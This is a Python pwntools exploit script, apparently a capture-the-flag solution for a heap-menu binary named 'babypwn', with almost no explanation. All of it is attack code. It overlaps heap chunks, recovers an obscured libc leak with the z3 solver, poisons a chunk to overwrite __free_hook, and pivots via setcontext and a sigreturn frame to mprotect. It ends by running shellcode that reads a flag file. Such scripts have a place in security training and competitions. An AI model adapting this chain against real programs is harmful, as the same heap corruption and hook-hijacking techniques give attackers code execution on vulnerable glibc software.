from pwn import *
from z3 import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

p = process('./babypwn')
e = ELF('./babypwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def calc_libc(result):
    x = BitVec('x',32)
    y = BitVec('y',32)
    z = BitVec('z',32)
    s = Solver()
    s.add(y == (x ^ (32 * x) ^ LShR((x ^ (32 * x)),17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)),17)) << 13)))
    s.add(z == (y ^ (32 * y) ^ LShR((y ^ (32 * y)),17) ^ (((32 * y) ^ y ^ LShR((y ^ (32 * y)),17)) << 13)))
    s.add(z == result)

    if s.check() == sat:
        answer = s.model()
        return answer[x].as_long()
    else:
        return 0

def add(size):
    p.sendlineafter('>>>','1')
    p.sendlineafter('size:',str(size))

def delete(index):
    p.sendlineafter('>>>','2')
    p.sendlineafter('index:',str(index))

def edit(index,content):
    p.sendlineafter('>>>','3')
    p.sendlineafter('index:',str(index))
    p.sendafter('content:',content)

def show(index):
    p.sendlineafter('>>>','4')
    p.sendlineafter('index:',str(index))

#gdb.attach(p)
#1131
#0x202060
#0x200f2f

for i in range(7):
    add(0x88)

for i in range(7):
    add(0xf8)

add(0x88)#14
add(0x48)#15 padding,if no this chunk,delete 14 will corrupt
add(0x88)#16
for i in range(7):
    delete(i)
add(0x108)#0
add(0x48)#1

edit(16,b'a'*0x88)
edit(16,b'a'*0x80 + p64(0x90+0x90+0x50))
edit(0,b'b'*0xf8+p64(0x61))
for i in range(7,14):
    delete(i)
#gdb.attach(p)
delete(14)
delete(0)

add(0x148)#0
show(0)

#calc libc
p.recvline()
z1 = p.recvline()[:-1]
x1 = calc_libc(int(z1,16))
z2 = p.recvline()[:-1]
x2 = calc_libc(int(z2,16))
print(hex((x2 << 32) + x1))
main_arena_addr = (x2 << 32) + x1  - 704
libc_offset = main_arena_addr - 0x10 - libc.symbols['__malloc_hook']
free_hook_addr = libc_offset + libc.symbols['__free_hook']
setcontext_addr = libc_offset + libc.symbols['setcontext']
shellcode_addr = free_hook_addr & 0xfffffffffffff000
print(hex(libc_offset))

delete(15)
edit(0,b'c'*0x88+p64(0x51)+p64(free_hook_addr))
#gdb.attach(p)
add(0x48)#2
add(0x48)#3

shellcode_read = '''
xor rdi, rdi
mov rsi, %d
mov edx, 0x1000
mov eax, 0
syscall
jmp rsi
''' % shellcode_addr

#gdb.attach(p)
edit(3,p64(setcontext_addr+53)+p64(free_hook_addr+0x10)+asm(shellcode_read))#change __free_hook to setcontext

frame = SigreturnFrame()
frame.rip = libc_offset + libc.symbols['mprotect']#0xa8 rcx->rip
frame.rsp = free_hook_addr + 8#0xa0 rsp
frame.rdi = shellcode_addr
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1 #rwx
edit(0,bytes(frame))
delete(0)#call __free_hook(setcontext(frame))

shellcode = shellcraft.open('flag')
shellcode += shellcraft.read(3,'rsp',0x20)
shellcode += shellcraft.write(1,'rsp',0x20)

p.sendline(asm(shellcode))

p.interactive()
#0x00007f77 09c74b78        2ae5316b        4aa51957


def solve(target):
    a1 = BitVec('a1', 33)
    ori_a1 = a1
    for i in range(2):
        item1 = (32 * a1) & 0xffffffff
        a1 ^= item1 ^ (((a1 ^ item1) >> 17) & 0xffffffff) ^ (((item1 ^ a1 ^ (((a1 ^ item1) >> 17) & 0xffffffff)) << 13) & 0xffffffff)
    s = Solver()
    s.add(a1 == target)
    s.check()
    result = s.model()
    return result[ori_a1].as_long()